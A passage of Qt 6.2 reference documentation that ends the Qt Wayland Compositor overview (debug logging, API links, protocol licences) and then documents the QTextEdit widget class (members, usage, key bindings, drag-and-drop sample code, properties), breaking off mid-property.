 Sometimes, when you are developing a complex compositor, you may encounter issues that require further investigation.

 Setting the `WAYLAND_DEBUG` environment variable to "1" will enable log output for the Wayland library itself. This can be very useful, for example, when debugging custom extensions to the Wayland protocol. It will show you exactly which events and requests are being passed between the client and the server, as well as timestamps for these.

 In addition, Qt has logging categories `qt.waylandcompositor.*` and `qt.qpa.wayland.*` to enable additional logging. The latter should be set on the client side, as it enables logging from the Wayland QPA plugin.

 Examples
--------

 Take a look at the [Qt Wayland Compositor Examples](https://doc.qt.io/qt-6.2/qtwaylandcompositor-examples.html) to learn how these APIs can be used to write custom compositors.

 API Reference
-------------

 The Qt Wayland Compositor can be used from C++ or QML:

 * [Qt Wayland Compositor QML Types](https://doc.qt.io/qt-6.2/qtwayland-compositor-qmlmodule.html)
* [Qt Wayland Compositor C++ Classes](https://doc.qt.io/qt-6.2/qtwaylandcompositor-module.html)

 Module Evolution
----------------

 [Porting to Qt 6 - Qt Wayland Compositor](qtwayland-changes-qt6) lists important changes in the module API and functionality that were done for the Qt 6 series of Qt.

 Licenses and Attributions
-------------------------

 Qt Wayland Compositor and the Qt Wayland integration plugin are available under commercial licenses from [The Qt Company](http://www.qt.io/about-us/).

 In addition, Qt Wayland Compositor is available under the [GNU General Public License, version 3](http://www.gnu.org/licenses/gpl-3.0.html), while the Qt Wayland integration plugin is available under the [GNU General Public License, version 3](http://www.gnu.org/licenses/gpl-3.0.html) or the [GNU General Public License, version 2](http://www.gnu.org/licenses/gpl-2.0.html).

 See [Qt Licensing](https://doc.qt.io/qt-6.2/licensing.html) for further details.

 Qt Wayland Compositor and the Qt Wayland integration plugin use protocol definitions under following permissive licenses:

 

|  |  |
| --- | --- |
| [Wayland EGLStream Controller Protocol, version 1.1.1](https://doc.qt.io/qt-6.2/qtwaylandcompositor-attribution-wayland-eglstream-controller.html) | MIT License |
| [Wayland Fullscreen Shell Protocol, version unstable v1](https://doc.qt.io/qt-6.2/qtwaylandcompositor-attribution-wayland-fullscreen-protocol.html) | MIT License |
| [Wayland IVI Extension Protocol, version 1.9.1](https://doc.qt.io/qt-6.2/qtwaylandcompositor-attribution-wayland-ivi-extension-protocol.html) | MIT License |
| [Wayland Linux Dmabuf Unstable V1 Protocol, version unstable v1, version 3](https://doc.qt.io/qt-6.2/qtwaylandcompositor-attribution-wayland-linux-dmabuf-unstable-v1.html) | MIT License |
| [Wayland Pointer Gestures Protocol, version unstable v1, version 2](https://doc.qt.io/qt-6.2/qtwaylandcompositor-attribution-wayland-pointer-gestures-protocol.html) | MIT License |
| [Wayland Primary Selection Protocol, version 1](https://doc.qt.io/qt-6.2/qtwaylandcompositor-attribution-wayland-primary-selection-protocol.html) | MIT License |
| [Wayland Protocol, version 1.16.0](https://doc.qt.io/qt-6.2/qtwaylandcompositor-attribution-wayland-protocol.html) | MIT License |
| [Wayland Scaler Protocol, version 2](https://doc.qt.io/qt-6.2/qtwaylandcompositor-attribution-wayland-scaler-protocol.html) | MIT License |
| [Wayland Tablet Protocol, version unstable v2, version 1](https://doc.qt.io/qt-6.2/qtwaylandcompositor-attribution-wayland-tablet-protocol.html) | MIT License |
| [Wayland Text Input Protocol, version unstable v2](https://doc.qt.io/qt-6.2/qtwaylandcompositor-attribution-wayland-text-input-unstable.html) | HPND License |
| [Wayland Viewporter Protocol, version 1](https://doc.qt.io/qt-6.2/qtwaylandcompositor-attribution-wayland-viewporter-protocol.html) | MIT License |
| [Wayland XDG Output Protocol, version unstable v1, version 3](https://doc.qt.io/qt-6.2/qtwaylandcompositor-attribution-wayland-xdg-output-protocol.html) | MIT License |
| [Wayland XDG Shell Protocol, version 1.18](https://doc.qt.io/qt-6.2/qtwaylandcompositor-attribution-wayland-xdg-shell-protocol.html) | MIT License |
| [Wayland xdg-decoration Protocol, version unstable v1, version 1](https://doc.qt.io/qt-6.2/qtwaylandcompositor-attribution-wayland-xdg-decoration-protocol.html) | MIT License |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtwaylandcompositor-index.html>

QTextEdit Class
===============

 The QTextEdit class provides a widget that is used to edit and display both plain and rich text. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QTextEdit> |
|  CMake: |  find\_package(Qt6 COMPONENTS Widgets REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Widgets) |
|  qmake: |  QT += widgets |
|  Inherits: | [QAbstractScrollArea](qabstractscrollarea) |
|  Inherited By: | [QTextBrowser](qtextbrowser) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qtextedit-members.html)

 Public Types
------------

 

|  |  |
| --- | --- |
|  struct  | **[ExtraSelection](qtextedit-extraselection)** |
|  flags  | **[AutoFormatting](qtextedit#AutoFormattingFlag-enum)** |
|  enum  | **[AutoFormattingFlag](qtextedit#AutoFormattingFlag-enum)** { AutoNone, AutoBulletList, AutoAll } |
|  enum  | **[LineWrapMode](qtextedit#LineWrapMode-enum)** { NoWrap, WidgetWidth, FixedPixelWidth, FixedColumnWidth } |

 Properties
----------

 

|  |  |
| --- | --- |
| * **[acceptRichText](qtextedit#acceptRichText-prop)** : bool
* **[autoFormatting](qtextedit#autoFormatting-prop)** : AutoFormatting
* **[cursorWidth](qtextedit#cursorWidth-prop)** : int
* **[document](qtextedit#document-prop)** : QTextDocument\*
* **[documentTitle](qtextedit#documentTitle-prop)** : QString
* **[html](qtextedit#html-prop)** : QString
* **[lineWrapColumnOrWidth](qtextedit#lineWrapColumnOrWidth-prop)** : int
* **[lineWrapMode](qtextedit#lineWrapMode-prop)** : LineWrapMode
* **[markdown](qtextedit#markdown-prop)** : QString
 | * **[overwriteMode](qtextedit#overwriteMode-prop)** : bool
* **[placeholderText](qtextedit#placeholderText-prop)** : QString
* **[plainText](qtextedit#plainText-prop)** : QString
* **[readOnly](qtextedit#readOnly-prop)** : bool
* **[tabChangesFocus](qtextedit#tabChangesFocus-prop)** : bool
* **[tabStopDistance](qtextedit#tabStopDistance-prop)** : qreal
* **[textInteractionFlags](qtextedit#textInteractionFlags-prop)** : Qt::TextInteractionFlags
* **[undoRedoEnabled](qtextedit#undoRedoEnabled-prop)** : bool
* **[wordWrapMode](qtextedit#wordWrapMode-prop)** : QTextOption::WrapMode
 |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QTextEdit](qtextedit#QTextEdit-1)**(const QString &*text*, QWidget \**parent* = nullptr) |
|  | **[QTextEdit](qtextedit#QTextEdit)**(QWidget \**parent* = nullptr) |
|  virtual  | **[~QTextEdit](qtextedit#dtor.QTextEdit)**() |
|  bool  | **[acceptRichText](qtextedit#acceptRichText-prop)**() const |
|  Qt::Alignment  | **[alignment](qtextedit#alignment)**() const |
|  QString  | **[anchorAt](qtextedit#anchorAt)**(const QPoint &*pos*) const |
|  QTextEdit::AutoFormatting  | **[autoFormatting](qtextedit#autoFormatting-prop)**() const |
|  bool  | **[canPaste](qtextedit#canPaste)**() const |
|  QMenu \* | **[createStandardContextMenu](qtextedit#createStandardContextMenu)**() |
|  QMenu \* | **[createStandardContextMenu](qtextedit#createStandardContextMenu-1)**(const QPoint &*position*) |
|  QTextCharFormat  | **[currentCharFormat](qtextedit#currentCharFormat)**() const |
|  QFont  | **[currentFont](qtextedit#currentFont)**() const |
|  QTextCursor  | **[cursorForPosition](qtextedit#cursorForPosition)**(const QPoint &*pos*) const |
|  QRect  | **[cursorRect](qtextedit#cursorRect)**(const QTextCursor &*cursor*) const |
|  QRect  | **[cursorRect](qtextedit#cursorRect-1)**() const |
|  int  | **[cursorWidth](qtextedit#cursorWidth-prop)**() const |
|  QTextDocument \* | **[document](qtextedit#document-prop)**() const |
|  QString  | **[documentTitle](qtextedit#documentTitle-prop)**() const |
|  void  | **[ensureCursorVisible](qtextedit#ensureCursorVisible)**() |
|  QList<QTextEdit::ExtraSelection>  | **[extraSelections](qtextedit#extraSelections)**() const |
|  bool  | **[find](qtextedit#find)**(const QString &*exp*, QTextDocument::FindFlags *options* = QTextDocument::FindFlags()) |
|  bool  | **[find](qtextedit#find-1)**(const QRegularExpression &*exp*, QTextDocument::FindFlags *options* = QTextDocument::FindFlags()) |
|  QString  | **[fontFamily](qtextedit#fontFamily)**() const |
|  bool  | **[fontItalic](qtextedit#fontItalic)**() const |
|  qreal  | **[fontPointSize](qtextedit#fontPointSize)**() const |
|  bool  | **[fontUnderline](qtextedit#fontUnderline)**() const |
|  int  | **[fontWeight](qtextedit#fontWeight)**() const |
|  bool  | **[isReadOnly](qtextedit#readOnly-prop)**() const |
|  bool  | **[isUndoRedoEnabled](qtextedit#undoRedoEnabled-prop)**() const |
|  int  | **[lineWrapColumnOrWidth](qtextedit#lineWrapColumnOrWidth-prop)**() const |
|  QTextEdit::LineWrapMode  | **[lineWrapMode](qtextedit#lineWrapMode-prop)**() const |
|  virtual QVariant  | **[loadResource](qtextedit#loadResource)**(int *type*, const QUrl &*name*) |
|  void  | **[mergeCurrentCharFormat](qtextedit#mergeCurrentCharFormat)**(const QTextCharFormat &*modifier*) |
|  void  | **[moveCursor](qtextedit#moveCursor)**(QTextCursor::MoveOperation *operation*, QTextCursor::MoveMode *mode* = QTextCursor::MoveAnchor) |
|  bool  | **[overwriteMode](qtextedit#overwriteMode-prop)**() const |
|  QString  | **[placeholderText](qtextedit#placeholderText-prop)**() const |
|  void  | **[print](qtextedit#print)**(QPagedPaintDevice \**printer*) const |
|  void  | **[setAcceptRichText](qtextedit#acceptRichText-prop)**(bool *accept*) |
|  void  | **[setAutoFormatting](qtextedit#autoFormatting-prop)**(QTextEdit::AutoFormatting *features*) |
|  void  | **[setCurrentCharFormat](qtextedit#setCurrentCharFormat)**(const QTextCharFormat &*format*) |
|  void  | **[setCursorWidth](qtextedit#cursorWidth-prop)**(int *width*) |
|  void  | **[setDocument](qtextedit#document-prop)**(QTextDocument \**document*) |
|  void  | **[setDocumentTitle](qtextedit#documentTitle-prop)**(const QString &*title*) |
|  void  | **[setExtraSelections](qtextedit#setExtraSelections)**(const QList<QTextEdit::ExtraSelection> &*selections*) |
|  void  | **[setLineWrapColumnOrWidth](qtextedit#lineWrapColumnOrWidth-prop)**(int *w*) |
|  void  | **[setLineWrapMode](qtextedit#lineWrapMode-prop)**(QTextEdit::LineWrapMode *mode*) |
|  void  | **[setOverwriteMode](qtextedit#overwriteMode-prop)**(bool *overwrite*) |
|  void  | **[setPlaceholderText](qtextedit#placeholderText-prop)**(const QString &*placeholderText*) |
|  void  | **[setReadOnly](qtextedit#readOnly-prop)**(bool *ro*) |
|  void  | **[setTabChangesFocus](qtextedit#tabChangesFocus-prop)**(bool *b*) |
|  void  | **[setTabStopDistance](qtextedit#tabStopDistance-prop)**(qreal *distance*) |
|  void  | **[setTextCursor](qtextedit#setTextCursor)**(const QTextCursor &*cursor*) |
|  void  | **[setTextInteractionFlags](qtextedit#textInteractionFlags-prop)**(Qt::TextInteractionFlags *flags*) |
|  void  | **[setUndoRedoEnabled](qtextedit#undoRedoEnabled-prop)**(bool *enable*) |
|  void  | **[setWordWrapMode](qtextedit#wordWrapMode-prop)**(QTextOption::WrapMode *policy*) |
|  bool  | **[tabChangesFocus](qtextedit#tabChangesFocus-prop)**() const |
|  qreal  | **[tabStopDistance](qtextedit#tabStopDistance-prop)**() const |
|  QColor  | **[textBackgroundColor](qtextedit#textBackgroundColor)**() const |
|  QColor  | **[textColor](qtextedit#textColor)**() const |
|  QTextCursor  | **[textCursor](qtextedit#textCursor)**() const |
|  Qt::TextInteractionFlags  | **[textInteractionFlags](qtextedit#textInteractionFlags-prop)**() const |
|  QString  | **[toHtml](qtextedit#html-prop)**() const |
|  QString  | **[toMarkdown](qtextedit#markdown-prop)**(QTextDocument::MarkdownFeatures *features* = QTextDocument::MarkdownDialectGitHub) const |
|  QString  | **[toPlainText](qtextedit#toPlainText)**() const |
|  QTextOption::WrapMode  | **[wordWrapMode](qtextedit#wordWrapMode-prop)**() const |

 Reimplemented Public Functions
------------------------------

 

|  |  |
| --- | --- |
|  virtual QVariant  | **[inputMethodQuery](qtextedit#inputMethodQuery)**(Qt::InputMethodQuery *property*) const override |

 Public Slots
------------

 

|  |  |
| --- | --- |
|  void  | **[append](qtextedit#append)**(const QString &*text*) |
|  void  | **[clear](qtextedit#clear)**() |
|  void  | **[copy](qtextedit#copy)**() |
|  void  | **[cut](qtextedit#cut)**() |
|  void  | **[insertHtml](qtextedit#insertHtml)**(const QString &*text*) |
|  void  | **[insertPlainText](qtextedit#insertPlainText)**(const QString &*text*) |
|  void  | **[paste](qtextedit#paste)**() |
|  void  | **[redo](qtextedit#redo)**() |
|  void  | **[scrollToAnchor](qtextedit#scrollToAnchor)**(const QString &*name*) |
|  void  | **[selectAll](qtextedit#selectAll)**() |
|  void  | **[setAlignment](qtextedit#setAlignment)**(Qt::Alignment *a*) |
|  void  | **[setCurrentFont](qtextedit#setCurrentFont)**(const QFont &*f*) |
|  void  | **[setFontFamily](qtextedit#setFontFamily)**(const QString &*fontFamily*) |
|  void  | **[setFontItalic](qtextedit#setFontItalic)**(bool *italic*) |
|  void  | **[setFontPointSize](qtextedit#setFontPointSize)**(qreal *s*) |
|  void  | **[setFontUnderline](qtextedit#setFontUnderline)**(bool *underline*) |
|  void  | **[setFontWeight](qtextedit#setFontWeight)**(int *weight*) |
|  void  | **[setHtml](qtextedit#html-prop)**(const QString &*text*) |
|  void  | **[setMarkdown](qtextedit#markdown-prop)**(const QString &*markdown*) |
|  void  | **[setPlainText](qtextedit#setPlainText)**(const QString &*text*) |
|  void  | **[setText](qtextedit#setText)**(const QString &*text*) |
|  void  | **[setTextBackgroundColor](qtextedit#setTextBackgroundColor)**(const QColor &*c*) |
|  void  | **[setTextColor](qtextedit#setTextColor)**(const QColor &*c*) |
|  void  | **[undo](qtextedit#undo)**() |
|  void  | **[zoomIn](qtextedit#zoomIn)**(int *range* = 1) |
|  void  | **[zoomOut](qtextedit#zoomOut)**(int *range* = 1) |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[copyAvailable](qtextedit#copyAvailable)**(bool *yes*) |
|  void  | **[currentCharFormatChanged](qtextedit#currentCharFormatChanged)**(const QTextCharFormat &*f*) |
|  void  | **[cursorPositionChanged](qtextedit#cursorPositionChanged)**() |
|  void  | **[redoAvailable](qtextedit#redoAvailable)**(bool *available*) |
|  void  | **[selectionChanged](qtextedit#selectionChanged)**() |
|  void  | **[textChanged](qtextedit#textChanged)**() |
|  void  | **[undoAvailable](qtextedit#undoAvailable)**(bool *available*) |

 Protected Functions
-------------------

 

|  |  |
| --- | --- |
|  virtual bool  | **[canInsertFromMimeData](qtextedit#canInsertFromMimeData)**(const QMimeData \**source*) const |
|  virtual QMimeData \* | **[createMimeDataFromSelection](qtextedit#createMimeDataFromSelection)**() const |
|  virtual void  | **[insertFromMimeData](qtextedit#insertFromMimeData)**(const QMimeData \**source*) |

 Reimplemented Protected Functions
---------------------------------

 

|  |  |
| --- | --- |
|  virtual void  | **[changeEvent](qtextedit#changeEvent)**(QEvent \**e*) override |
|  virtual void  | **[contextMenuEvent](qtextedit#contextMenuEvent)**(QContextMenuEvent \**event*) override |
|  virtual void  | **[dragEnterEvent](qtextedit#dragEnterEvent)**(QDragEnterEvent \**e*) override |
|  virtual void  | **[dragLeaveEvent](qtextedit#dragLeaveEvent)**(QDragLeaveEvent \**e*) override |
|  virtual void  | **[dragMoveEvent](qtextedit#dragMoveEvent)**(QDragMoveEvent \**e*) override |
|  virtual void  | **[dropEvent](qtextedit#dropEvent)**(QDropEvent \**e*) override |
|  virtual void  | **[focusInEvent](qtextedit#focusInEvent)**(QFocusEvent \**e*) override |
|  virtual bool  | **[focusNextPrevChild](qtextedit#focusNextPrevChild)**(bool *next*) override |
|  virtual void  | **[focusOutEvent](qtextedit#focusOutEvent)**(QFocusEvent \**e*) override |
|  virtual void  | **[inputMethodEvent](qtextedit#inputMethodEvent)**(QInputMethodEvent \**e*) override |
|  virtual void  | **[keyPressEvent](qtextedit#keyPressEvent)**(QKeyEvent \**e*) override |
|  virtual void  | **[keyReleaseEvent](qtextedit#keyReleaseEvent)**(QKeyEvent \**e*) override |
|  virtual void  | **[mouseDoubleClickEvent](qtextedit#mouseDoubleClickEvent)**(QMouseEvent \**e*) override |
|  virtual void  | **[mouseMoveEvent](qtextedit#mouseMoveEvent)**(QMouseEvent \**e*) override |
|  virtual void  | **[mousePressEvent](qtextedit#mousePressEvent)**(QMouseEvent \**e*) override |
|  virtual void  | **[mouseReleaseEvent](qtextedit#mouseReleaseEvent)**(QMouseEvent \**e*) override |
|  virtual void  | **[paintEvent](qtextedit#paintEvent)**(QPaintEvent \**event*) override |
|  virtual void  | **[resizeEvent](qtextedit#resizeEvent)**(QResizeEvent \**e*) override |
|  virtual void  | **[scrollContentsBy](qtextedit#scrollContentsBy)**(int *dx*, int *dy*) override |
|  virtual void  | **[showEvent](qtextedit#showEvent)**(QShowEvent \*) override |
|  virtual void  | **[wheelEvent](qtextedit#wheelEvent)**(QWheelEvent \**e*) override |

 Detailed Description
--------------------

 ### Introduction and Concepts

 QTextEdit is an advanced WYSIWYG viewer/editor supporting rich text formatting using HTML-style tags, or Markdown format. It is optimized to handle large documents and to respond quickly to user input.

 QTextEdit works on paragraphs and characters. A paragraph is a formatted string which is word-wrapped to fit into the width of the widget. By default when reading plain text, one newline signifies a paragraph. A document consists of zero or more paragraphs. The words in the paragraph are aligned in accordance with the paragraph's alignment. Paragraphs are separated by hard line breaks. Each character within a paragraph has its own attributes, for example, font and color.

 QTextEdit can display images, lists and tables. If the text is too large to view within the text edit's viewport, scroll bars will appear. The text edit can load both plain text and rich text files. Rich text can be described using a subset of HTML 4 markup; refer to the [Supported HTML Subset](richtext-html-subset) page for more information.

 If you just need to display a small piece of rich text use [QLabel](qlabel).

 The rich text support in Qt is designed to provide a fast, portable and efficient way to add reasonable online help facilities to applications, and to provide a basis for rich text editors. If you find the HTML support insufficient for your needs you may consider the use of Qt WebKit, which provides a full-featured web browser widget.

 The shape of the mouse cursor on a QTextEdit is [Qt::IBeamCursor](qt#CursorShape-enum) by default. It can be changed through the [viewport](qabstractscrollarea#viewport)()'s cursor property.

 ### Using QTextEdit as a Display Widget

 QTextEdit can display a large HTML subset, including tables and images.

 The text can be set or replaced using [setHtml](qtextedit#html-prop)() which deletes any existing text and replaces it with the text passed in the [setHtml](qtextedit#html-prop)() call. If you call [setHtml](qtextedit#html-prop)() with legacy HTML, and then call [toHtml](qtextedit#html-prop)(), the text that is returned may have different markup, but will render the same. The entire text can be deleted with [clear](qtextedit#clear)().

 Text can also be set or replaced using [setMarkdown](qtextedit#markdown-prop)(), and the same caveats apply: if you then call [toMarkdown](qtextedit#markdown-prop)(), the text that is returned may be different, but the meaning is preserved as much as possible. Markdown with some embedded HTML can be parsed, with the same limitations that [setHtml](qtextedit#html-prop)() has; but [toMarkdown](qtextedit#markdown-prop)() only writes "pure" Markdown, without any embedded HTML.

 Text itself can be inserted using the [QTextCursor](qtextcursor) class or using the convenience functions [insertHtml](qtextedit#insertHtml)(), [insertPlainText](qtextedit#insertPlainText)(), [append](qtextedit#append)() or [paste](qtextedit#paste)(). [QTextCursor](qtextcursor) is also able to insert complex objects like tables or lists into the document, and it deals with creating selections and applying changes to selected text.

 By default the text edit wraps words at whitespace to fit within the text edit widget. The [setLineWrapMode](qtextedit#lineWrapMode-prop)() function is used to specify the kind of line wrap you want, or [NoWrap](qtextedit#LineWrapMode-enum) if you don't want any wrapping. Call [setLineWrapMode](qtextedit#lineWrapMode-prop)() to set a fixed pixel width [FixedPixelWidth](qtextedit#LineWrapMode-enum), or character column (e.g. 80 column) [FixedColumnWidth](qtextedit#LineWrapMode-enum) with the pixels or columns specified with [setLineWrapColumnOrWidth](qtextedit#lineWrapColumnOrWidth-prop)(). If you use word wrap to the widget's width [WidgetWidth](qtextedit#LineWrapMode-enum), you can specify whether to break on whitespace or anywhere with [setWordWrapMode](qtextedit#wordWrapMode-prop)().

 The [find](qtextedit#find)() function can be used to find and select a given string within the text.

 If you want to limit the total number of paragraphs in a QTextEdit, as for example it is often useful in a log viewer, then you can use [QTextDocument](qtextdocument)'s maximumBlockCount property for that.

 #### Read-only Key Bindings

 When QTextEdit is used read-only the key bindings are limited to navigation, and text may only be selected with the mouse:

 

| Keypresses | Action |
| --- | --- |
| Up | Moves one line up. |
| Down | Moves one line down. |
| Left | Moves one character to the left. |
| Right | Moves one character to the right. |
| PageUp | Moves one (viewport) page up. |
| PageDown | Moves one (viewport) page down. |
| Home | Moves to the beginning of the text. |
| End | Moves to the end of the text. |
| Alt+Wheel | Scrolls the page horizontally (the Wheel is the mouse wheel). |
| Ctrl+Wheel | Zooms the text. |
| Ctrl+A | Selects all text. |

 The text edit may be able to provide some meta-information. For example, the [documentTitle](qtextedit#documentTitle-prop)() function will return the text from within HTML `<title>` tags.

  **Note:** Zooming into HTML documents only works if the font-size is not set to a fixed size.

  ### Using QTextEdit as an Editor

 All the information about using QTextEdit as a display widget also applies here.

 The current char format's attributes are set with [setFontItalic](qtextedit#setFontItalic)(), [setFontWeight](qtextedit#setFontWeight)(), [setFontUnderline](qtextedit#setFontUnderline)(), [setFontFamily](qtextedit#setFontFamily)(), [setFontPointSize](qtextedit#setFontPointSize)(), [setTextColor](qtextedit#setTextColor)() and [setCurrentFont](qtextedit#setCurrentFont)(). The current paragraph's alignment is set with [setAlignment](qtextedit#setAlignment)().

 Selection of text is handled by the [QTextCursor](qtextcursor) class, which provides functionality for creating selections, retrieving the text contents or deleting selections. You can retrieve the object that corresponds with the user-visible cursor using the [textCursor](qtextedit#textCursor)() method. If you want to set a selection in QTextEdit just create one on a [QTextCursor](qtextcursor) object and then make that cursor the visible cursor using [setTextCursor](qtextedit#setTextCursor)(). The selection can be copied to the clipboard with [copy](qtextedit#copy)(), or cut to the clipboard with [cut](qtextedit#cut)(). The entire text can be selected using [selectAll](qtextedit#selectAll)().

 When the cursor is moved and the underlying formatting attributes change, the [currentCharFormatChanged](qtextedit#currentCharFormatChanged)() signal is emitted to reflect the new attributes at the new cursor position.

 The [textChanged](qtextedit#textChanged)() signal is emitted whenever the text changes (as a result of [setText](qtextedit#setText)() or through the editor itself).

 QTextEdit holds a [QTextDocument](qtextdocument) object which can be retrieved using the [document](qtextedit#document-prop)() method. You can also set your own document object using [setDocument](qtextedit#document-prop)().

 [QTextDocument](qtextdocument) provides an [isModified](qtextdocument#modified-prop)() function which will return true if the text has been modified since it was either loaded or since the last call to setModified with false as argument. In addition it provides methods for undo and redo.

 #### Drag and Drop

 QTextEdit also supports custom drag and drop behavior. By default, QTextEdit will insert plain text, HTML and rich text when the user drops data of these MIME types onto a document. Reimplement [canInsertFromMimeData](qtextedit#canInsertFromMimeData)() and [insertFromMimeData](qtextedit#insertFromMimeData)() to add support for additional MIME types.

 For example, to allow the user to drag and drop an image onto a QTextEdit, you could the implement these functions in the following way:

 
```
bool TextEdit::canInsertFromMimeData( const QMimeData *source ) const
{
    if (source->hasImage())
        return true;
    else
        return QTextEdit::canInsertFromMimeData(source);
}
```
 We add support for image MIME types by returning true. For all other MIME types, we use the default implementation.

 
```
void TextEdit::insertFromMimeData( const QMimeData *source )
{
    if (source->hasImage())
    {
        QImage image = qvariant_cast<QImage>(source->imageData());
        QTextCursor cursor = this->textCursor();
        QTextDocument *document = this->document();
        document->addResource(QTextDocument::ImageResource, QUrl("image"), image);
        cursor.insertImage("image");
    }
}
```
 We unpack the image from the [QVariant](qvariant) held by the MIME source and insert it into the document as a resource.

 #### Editing Key Bindings

 The list of key bindings which are implemented for editing:

 

| Keypresses | Action |
| --- | --- |
| Backspace | Deletes the character to the left of the cursor. |
| Delete | Deletes the character to the right of the cursor. |
| Ctrl+C | Copy the selected text to the clipboard. |
| Ctrl+Insert | Copy the selected text to the clipboard. |
| Ctrl+K | Deletes to the end of the line. |
| Ctrl+V | Pastes the clipboard text into text edit. |
| Shift+Insert | Pastes the clipboard text into text edit. |
| Ctrl+X | Deletes the selected text and copies it to the clipboard. |
| Shift+Delete | Deletes the selected text and copies it to the clipboard. |
| Ctrl+Z | Undoes the last operation. |
| Ctrl+Y | Redoes the last operation. |
| Left | Moves the cursor one character to the left. |
| Ctrl+Left | Moves the cursor one word to the left. |
| Right | Moves the cursor one character to the right. |
| Ctrl+Right | Moves the cursor one word to the right. |
| Up | Moves the cursor one line up. |
| Down | Moves the cursor one line down. |
| PageUp | Moves the cursor one page up. |
| PageDown | Moves the cursor one page down. |
| Home | Moves the cursor to the beginning of the line. |
| Ctrl+Home | Moves the cursor to the beginning of the text. |
| End | Moves the cursor to the end of the line. |
| Ctrl+End | Moves the cursor to the end of the text. |
| Alt+Wheel | Scrolls the page horizontally (the Wheel is the mouse wheel). |

 To select (mark) text hold down the Shift key whilst pressing one of the movement keystrokes, for example, *Shift+Right* will select the character to the right, and *Shift+Ctrl+Right* will select the word to the right, etc.

 **See also** [QTextDocument](qtextdocument), [QTextCursor](qtextcursor), [Qt Widgets - Application Example](https://doc.qt.io/qt-6.2/qtwidgets-mainwindows-application-example.html), [Syntax Highlighter Example](https://doc.qt.io/qt-6.2/qtwidgets-richtext-syntaxhighlighter-example.html), and [Rich Text Processing](richtext).

 Member Type Documentation
-------------------------

 ### enum QTextEdit::AutoFormattingFlagflags QTextEdit::AutoFormatting

 

| Constant | Value | Description |
| --- | --- | --- |
| `QTextEdit::AutoNone` | `0` | Don't do any automatic formatting. |
| `QTextEdit::AutoBulletList` | `0x00000001` | Automatically create bullet lists (e.g. when the user enters an asterisk ('\*') in the left most column, or presses Enter in an existing list item. |
| `QTextEdit::AutoAll` | `0xffffffff` | Apply all automatic formatting. Currently only automatic bullet lists are supported. |

 The AutoFormatting type is a typedef for [QFlags](qflags)<AutoFormattingFlag>. It stores an OR combination of AutoFormattingFlag values.

 ### enum QTextEdit::LineWrapMode

 

| Constant | Value |
| --- | --- |
| `QTextEdit::NoWrap` | `0` |
| `QTextEdit::WidgetWidth` | `1` |
| `QTextEdit::FixedPixelWidth` | `2` |
| `QTextEdit::FixedColumnWidth` | `3` |

  Property Documentation
----------------------

 ### 
acceptRichText : bool

 This property holds whether the text edit accepts rich text insertions by the user

 When this propery is set to false text edit will accept only plain text input from the user. For example through clipboard or drag and drop.

 This property's default is true.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **acceptRichText**() const |
|  void  | **setAcceptRichText**(bool *accept*) |

 ### 
autoFormatting : [AutoFormatting](qtextedit#AutoFormattingFlag-enum)

 This property holds the enabled set of auto formatting features

 The value can be any combination of the values in the [AutoFormattingFlag](qtextedit#AutoFormattingFlag-enum) enum. The default is [AutoNone](qtextedit#AutoFormattingFlag-enum). Choose [AutoAll](qtextedit#AutoFormattingFlag-enum) to enable all automatic formatting.

 Currently, the only automatic formatting feature provided is [AutoBulletList](qtextedit#AutoFormattingFlag-enum); future versions of Qt may offer more.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QTextEdit::AutoFormatting  | **autoFormatting**() const |
|  void  | **setAutoFormatting**(QTextEdit::AutoFormatting *features*) |

 ### 
cursorWidth : int

 This property specifies the width of the cursor in pixels. The default value is 1.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **cursorWidth**() const |
|  void  | **setCursorWidth**(int *width*) |

 ### 
document : [QTextDocument](qtextdocument)\*

 This property holds the underlying document of the text editor.

  **Note:** The editor *does not take ownership of the document* unless it is the document's parent object. The parent object of the provided document remains the owner of the object. If the previously assigned document is a child of the editor then it will be deleted.

  **Access functions:**

 

|  |  |
| --- | --- |
|  QTextDocument \* | **document**() const |
|  void  | **setDocument**(QTextDocument \**document*) |

 ### 
documentTitle : [QString](qstring)

 This property holds the title of the document parsed from the text.

 By default, for a newly-created, empty document, this property contains an empty string.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **documentTitle**() const |
|  void  | **setDocumentTitle**(const QString &*title*) |

 ### 
html : [QString](qstring)

 This property provides an HTML interface to the text of the text edit.

 toHtml() returns the text of the text edit as html.

 setHtml() changes the text of the text edit. Any previous text is removed and the undo/redo history is cleared. The input text is interpreted as rich text in html format. [currentCharFormat](qtextedit#currentCharFormat)() is also reset, unless [textCursor](qtextedit#textCursor)() is already at the beginning of the document.

  **Note:** It is the responsibility of the caller to make sure that the text is correctly decoded when a [QString](qstring) containing HTML is created and passed to setHtml().

  By default, for a newly-created, empty document, this property contains text to describe an HTML 4.0 document with no body text.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **toHtml**() const |
|  void  | **setHtml**(const QString &*text*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[textChanged](qtextedit#textChanged)**() |

 **See also** [Supported HTML Subset](richtext-html-subset) and [plainText](qtextedit#plainText-prop).

 ### 
lineWrapColumnOrWidth : int

 This property holds the position (in pixels or columns depending on the wrap mode) where text will be wrapped

 If the wrap mode is [FixedPixelWidth](qtextedit#LineWrapMode-enum), the value is the number of pixels from the left edge of the text edit at which text should be wrapped. If the wrap mode is [FixedColumnWidth](qtextedit#LineWrapMode-enum), the value is the column number (in character columns) from the left edge of the text edit at which text should be wrapped.

 By default, this property contains a value of 0.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **lineWrapColumnOrWidth**() const |
|  void  | **setLineWrapColumnOrWidth**(int *w*) |

 **See also** [lineWrapMode](qtextedit#lineWrapMode-prop).

 ### 
lineWrapMode : [LineWrapMode](qtextedit#LineWrapMode-enum)

 This property holds the line wrap mode

